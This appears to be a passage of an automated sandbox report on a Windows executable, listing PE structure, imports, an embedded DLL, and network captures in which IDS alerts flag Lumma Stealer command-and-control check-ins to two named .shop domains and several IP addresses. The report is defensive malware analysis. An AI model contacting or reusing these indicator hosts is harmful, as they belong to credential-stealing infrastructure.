push dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFEh
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
ret
push ebp
mov ebp, esp
and dword ptr [00A804F4h], 00000000h
sub esp, 28h
or dword ptr [00A79098h], 00000000h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x675b00	0xc4	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x675bc4	0x168	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69f000	0x1340dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7d4000	0x40534	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x6118f0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x611980	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x544740	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x53f000	0x71c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x6758f0	0x60	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x53c91a	0x53ca00	34172b3d33fcbc82dec84b195b62dcf9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.CLR_UEF	0x53e000	0x44	0x200	fac4b978d146b6ae44c1ada6a4e488e8	False	0.134765625	data	0.9617583915731932	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x53f000	0x13924e	0x139400	8f186576727711d1b0e72c868a5e20f8	False	0.37226359861332803	data	5.157951239452832	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x679000	0x13bb4	0x7200	3a6e64a2176a46bf968274d7d04dd921	False	0.2574013157894737	Matlab v4 mat-file (little endian) \377\377\377\377, numeric, rows 0, columns 0	3.792513092046313	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x68d000	0x1c	0x200	7bac9762d0b54597e7045b90edb9597e	False	0.0546875	data	0.25996289920834015	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x68e000	0x10f10	0x11000	211089d7d672e1712b48c26d0bdc0a1b	False	0.16291360294117646	data	5.364619170209927	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x69f000	0x1340dc	0x134200	b872e04bd9f290ab5b94cc5191d20c83	False	0.40668737322515214	data	6.388548349438366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7d4000	0x40534	0x40600	adf359d767179078fe1c397c68b29322	False	0.5949825546116505	data	6.669414091043339	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_RCDATA	0x69f18c	0x24	data	1.1666666666666667
RT_RCDATA	0x69f1b0	0x24	data	1.1666666666666667
RT_RCDATA	0x69f1d4	0x133a20	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	0.41420650482177734
RT_VERSION	0x7d2bf4	0x2ac	data	0.43128654970760233
RT_MANIFEST	0x7d2ea0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
KERNEL32.dll	RaiseException, FreeLibrary, SetErrorMode, RaiseFailFastException, GetExitCodeProcess, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, AddVectoredExceptionHandler, MultiByteToWideChar, GetTickCount, FlushInstructionCache, QueryPerformanceFrequency, QueryPerformanceCounter, InterlockedPushEntrySList, InterlockedFlushSList, InitializeSListHead, GetTickCount64, DuplicateHandle, QueueUserAPC, WaitForSingleObjectEx, SetThreadPriority, GetThreadPriority, GetCurrentThreadId, TlsAlloc, GetCurrentThread, GetCurrentProcessId, CreateThread, GetModuleHandleW, WaitForMultipleObjectsEx, SignalObjectAndWait, SetThreadStackGuarantee, VirtualQuery, WriteFile, GetStdHandle, GetConsoleOutputCP, MapViewOfFileEx, UnmapViewOfFile, GetStringTypeExW, InterlockedPopEntrySList, ExitProcess, Sleep, CreateMemoryResourceNotification, VirtualAlloc, VirtualFree, VirtualProtect, SleepEx, SwitchToThread, SuspendThread, ResumeThread, CloseThreadpoolTimer, CreateThreadpoolTimer, SetThreadpoolTimer, ReadFile, GetFileSize, GetEnvironmentVariableW, SetEnvironmentVariableW, CreateEventW, SetEvent, ResetEvent, GetThreadContext, SetThreadContext, GetEnabledXStateFeatures, InitializeContext, CopyContext, SetXStateFeaturesMask, WerRegisterRuntimeExceptionModule, GetSystemDefaultLCID, GetUserDefaultLCID, OutputDebugStringA, RtlUnwind, HeapAlloc, HeapFree, GetProcessHeap, HeapCreate, HeapDestroy, GetEnvironmentStringsW, FreeEnvironmentStringsW, FormatMessageW, CreateSemaphoreExW, ReleaseSemaphore, GetACP, LCMapStringEx, LocalFree, VerSetConditionMask, VerifyVersionInfoW, IsWow64Process, QueryThreadCycleTime, SetThreadGroupAffinity, GetProcessAffinityMask, QueryInformationJobObject, CloseHandle, GetModuleFileNameW, CreateProcessW, GetCPInfo, LoadLibraryExW, CreateFileW, GetFileAttributesExW, GetFullPathNameW, LoadLibraryExA, OpenEventW, ReleaseMutex, ExitThread, CreateMutexW, HeapReAlloc, CreateNamedPipeA, WaitForMultipleObjects, DisconnectNamedPipe, CreateFileA, CancelIoEx, GetOverlappedResult, ConnectNamedPipe, FlushFileBuffers, SetFilePointer, CreateFileMappingW, MapViewOfFile, GetActiveProcessorGroupCount, GetCurrentProcessorNumberEx, GetSystemTime, SetConsoleCtrlHandler, GetLocaleInfoEx, GetUserDefaultLocaleName, LoadLibraryW, CreateDirectoryW, RemoveDirectoryW, CreateActCtxW, ActivateActCtx, FindResourceW, GetWindowsDirectoryW, GetFileSizeEx, FindFirstFileExW, FindNextFileW, GetTempPathW, FindClose, LoadLibraryA, GetCurrentDirectoryW, EncodePointer, DecodePointer, CreateFileMappingA, TlsSetValue, TlsGetValue, GetSystemInfo, GetCurrentProcess, ReadProcessMemory, OutputDebugStringW, IsDebuggerPresent, LeaveCriticalSection, EnterCriticalSection, WideCharToMultiByte, DeleteCriticalSection, InitializeCriticalSection, GetCommandLineW, GetProcAddress, GetModuleHandleExW, SetThreadErrorMode, FlushProcessWriteBuffers, SetLastError, DebugBreak, WaitForSingleObject, GetNumaHighestNodeNumber, SetThreadAffinityMask, SetThreadIdealProcessorEx, GetThreadIdealProcessorEx, VirtualAllocExNuma, GetNumaProcessorNodeEx, VirtualUnlock, GetWriteWatch, GetLargePageMinimum, ResetWriteWatch, IsProcessInJob, K32GetProcessMemoryInfo, GetLogicalProcessorInformation, GlobalMemoryStatusEx, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, WakeAllConditionVariable, SleepConditionVariableSRW, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, TlsFree, TryAcquireSRWLockExclusive, GetExitCodeThread, GetStringTypeW, InitializeCriticalSectionEx, GetLastError, GetSystemTimeAsFileTime
ADVAPI32.dll	RegQueryValueExW, AdjustTokenPrivileges, RegGetValueW, SetKernelObjectSecurity, GetSidSubAuthorityCount, GetSidSubAuthority, GetTokenInformation, OpenProcessToken, DeregisterEventSource, ReportEventW, RegisterEventSourceW, RegOpenKeyExW, RegCloseKey, EventRegister, SetThreadToken, RevertToSelf, OpenThreadToken, EventWriteTransfer, EventWrite, LookupPrivilegeValueW
ole32.dll	CoCreateFreeThreadedMarshaler, CreateStreamOnHGlobal, CoRevokeInitializeSpy, CoGetContextToken, CoGetObjectContext, CoUnmarshalInterface, CoMarshalInterface, CoGetMarshalSizeMax, CLSIDFromProgID, CoReleaseMarshalData, CoTaskMemFree, CoTaskMemAlloc, CoCreateGuid, CoInitializeEx, CoRegisterInitializeSpy, CoWaitForMultipleHandles, CoUninitialize, CoGetClassObject
OLEAUT32.dll	SafeArrayPutElement, LoadRegTypeLib, CreateErrorInfo, SafeArraySetRecordInfo, GetRecordInfoFromTypeInfo, SafeArrayGetElemsize, SysStringByteLen, SafeArrayAllocDescriptorEx, SysAllocStringByteLen, VarCyFromDec, SafeArrayCreateVector, SysFreeString, VariantInit, GetErrorInfo, SetErrorInfo, SysStringLen, SysAllocString, VariantClear, SysAllocStringLen, SafeArrayGetDim, SafeArrayGetLBound, SafeArrayAllocData, SafeArrayDestroy, QueryPathOfRegTypeLib, VariantChangeTypeEx, LoadTypeLibEx, VariantChangeType, SafeArrayGetVartype
USER32.dll	LoadStringW, MessageBoxW
SHELL32.dll	ShellExecuteW
api-ms-win-crt-string-l1-1-0.dll	strncat_s, wcsncat_s, _stricmp, wcsnlen, wcscat_s, towupper, iswascii, _strdup, strnlen, wcstok_s, isdigit, isalpha, towlower, iswupper, strncpy, isspace, strtok_s, strcmp, _strnicmp, isupper, iswspace, toupper, _wcsdup, tolower, wcsncmp, islower, strncmp, strcspn, strncpy_s, __strncnt, _wcsnicmp, strlen, wcscpy_s, wcsncpy_s, _wcsicmp, strcpy_s, strcat_s
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vfwprintf, fflush, fputws, fputwc, __acrt_iob_func, __stdio_common_vswprintf, _set_fmode, _get_stream_buffer_pointers, _fseeki64, fread, fsetpos, ungetc, fgetpos, __stdio_common_vsscanf, fgetc, fputc, _wfsopen, fclose, fgets, _wfopen, __p__commode, setvbuf, _setmode, _dup, _fileno, ftell, fseek, __stdio_common_vsnprintf_s, __stdio_common_vfprintf, fputs, __stdio_common_vsnwprintf_s, fwrite, _flushall, fopen, __stdio_common_vsprintf_s
api-ms-win-crt-runtime-l1-1-0.dll	_invalid_parameter_noinfo_noreturn, abort, exit, _beginthreadex, terminate, _initialize_onexit_table, _register_onexit_function, _crt_atexit, _cexit, _seh_filter_exe, _set_app_type, _wcserror_s, _configure_wide_argv, _initialize_wide_environment, _get_initial_wide_environment, _initterm, _initterm_e, _exit, _errno, __p___argc, __p___wargv, _c_exit, _register_thread_local_exe_atexit_callback, _invalid_parameter_noinfo, _controlfp_s
api-ms-win-crt-convert-l1-1-0.dll	_wcstoui64, _itow_s, _ltow_s, wcstoul, strtoul, strtoull, _wtoi, atol, atoi
api-ms-win-crt-heap-l1-1-0.dll	realloc, free, _set_new_mode, malloc, calloc
api-ms-win-crt-utility-l1-1-0.dll	qsort
api-ms-win-crt-math-l1-1-0.dll	asinh, asinhf, atanhf, cbrtf, acoshf, log2f, __libm_sse2_asin, __libm_sse2_atan, __libm_sse2_atan2, __libm_sse2_log10, __libm_sse2_pow, acosh, atanh, log2, __libm_sse2_sin, __libm_sse2_tan, _libm_sse2_acos_precise, _libm_sse2_asin_precise, _libm_sse2_atan_precise, _fdopen, _libm_sse2_cos_precise, _libm_sse2_exp_precise, trunc, truncf, ilogb, ilogbf, _finite, _libm_sse2_log10_precise, _libm_sse2_log_precise, _libm_sse2_pow_precise, _libm_sse2_sin_precise, __libm_sse2_acos, frexp, _CItanh, _CIsinh, _libm_sse2_sqrt_precise, _libm_sse2_tan_precise, ceil, _CIfmod, floor, fma, fmaf, __libm_sse2_cos, _CIcosh, cbrt, _CIatan2, __libm_sse2_exp, _ldclass, _dclass, modf, _isnan, __setusermatherr, __libm_sse2_log, _copysign
api-ms-win-crt-time-l1-1-0.dll	_gmtime64_s, _time64, wcsftime
api-ms-win-crt-environment-l1-1-0.dll	getenv
api-ms-win-crt-locale-l1-1-0.dll	___mb_cur_max_func, ___lc_codepage_func, ___lc_locale_name_func, __pctype_func, setlocale, localeconv, _configthreadlocale, _unlock_locales, _lock_locales
api-ms-win-crt-filesystem-l1-1-0.dll	_unlock_file, _wremove, _wrename, _lock_file

Exports

Name	Ordinal	Address
CLRJitAttachState	3	0xa85ecc
DotNetRuntimeInfo	4	0xa7a678
MetaDataGetDispenser	5	0x89c600
g_CLREngineMetrics	2	0xa7a0f0
g_dacTable	6	0x9572a8

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-31T21:18:24.161459+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49740	443	192.168.2.4	188.114.97.3
2024-08-31T21:18:24.161459+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49740	443	192.168.2.4	188.114.97.3
2024-08-31T21:18:01.864560+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49731	443	192.168.2.4	162.125.66.15
2024-08-31T21:18:24.662525+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49741	443	192.168.2.4	188.114.97.3
2024-08-31T21:17:59.955799+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49730	443	192.168.2.4	162.125.66.18
2024-08-31T21:18:23.541599+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49739	443	192.168.2.4	188.114.97.3
2024-08-31T21:18:23.541599+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49739	443	192.168.2.4	188.114.97.3
2024-08-31T21:18:24.036420+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49740	443	192.168.2.4	188.114.97.3
2024-08-31T21:18:25.244282+0200	TCP	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	49741	443	192.168.2.4	188.114.97.3
2024-08-31T21:18:25.244282+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49741	443	192.168.2.4	188.114.97.3
2024-08-31T21:18:23.025340+0200	TCP	2055489	ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop)	1	49739	443	192.168.2.4	188.114.97.3
2024-08-31T21:18:22.543627+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49738	443	192.168.2.4	172.67.209.93
2024-08-31T21:18:22.543627+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49738	443	192.168.2.4	172.67.209.93
2024-08-31T21:18:22.550255+0200	UDP	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	51944	53	192.168.2.4	1.1.1.1
2024-08-31T21:18:23.545175+0200	UDP	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	54383	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 21:17:58.400160074 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:17:58.400207996 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:17:58.400285006 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:17:58.431869984 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:17:58.431891918 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:17:59.072140932 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:17:59.072324038 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:17:59.076525927 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:17:59.076548100 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:17:59.076761961 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:17:59.129741907 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:17:59.151846886 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:17:59.196506023 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:17:59.955789089 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:17:59.955797911 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:17:59.955857038 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:17:59.955923080 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:17:59.955984116 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:18:00.413631916 CEST	49730	443	192.168.2.4	162.125.66.18
Aug 31, 2024 21:18:00.413713932 CEST	443	49730	162.125.66.18	192.168.2.4
Aug 31, 2024 21:18:00.452733040 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:00.452763081 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:00.452821016 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:00.453190088 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:00.453210115 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.092031956 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.092128992 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:01.092158079 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.092297077 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:01.094695091 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:01.094702005 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.094958067 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.096745014 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:01.144500971 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.864573956 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.864595890 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.864609957 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.864701986 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:01.864742041 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.864801884 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:01.963385105 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.963406086 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.963476896 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:01.963505030 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:01.963545084 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:01.969734907 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.000422955 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.000437021 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.000524044 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.000535011 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.048295975 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.048320055 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.048496962 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.048517942 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.078234911 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.078248978 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.078313112 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.078324080 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.078347921 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.107808113 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.107829094 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.107862949 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.107997894 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.108010054 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.131468058 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.131510019 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.131520987 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.131534100 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.131567001 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.131578922 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.131608963 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.145071030 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.145107985 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.145117998 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.145133972 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.145174026 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.145183086 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.145205975 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.159396887 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.159410000 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.159435987 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.159598112 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.159607887 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.173651934 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.173669100 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.173690081 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.173748016 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.173764944 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.173791885 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.185539007 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.185554028 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.185579062 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.185646057 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.185662031 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.185688972 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.199465036 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.199485064 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.199579954 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.199594975 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.210716009 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.210731030 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.210751057 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.210818052 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.210834026 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.210860968 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.223305941 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.223344088 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.223439932 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.223455906 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.234951973 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.234972954 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.235065937 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.235080004 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.243177891 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.243196011 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.243253946 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.243268013 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.243299007 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.252017975 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.252032042 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.252213955 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.252228022 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.263818026 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.263839960 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.263919115 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.263932943 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.272368908 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.272382975 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.272448063 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.272463083 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.284074068 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.284090996 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.284183025 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.284198999 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.297560930 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.297574043 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.297677040 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.297692060 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.310278893 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.310302973 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.310373068 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.310389042 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.320280075 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.320310116 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.320341110 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.320379019 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.320393085 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.320421934 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.330235958 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.330251932 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.330306053 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.330322027 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.337294102 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.337307930 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.337376118 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:02.337395906 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.354300976 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.354321957 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:02.354399920 CEST	49731	443	192.168.2.4	162.125.66.15
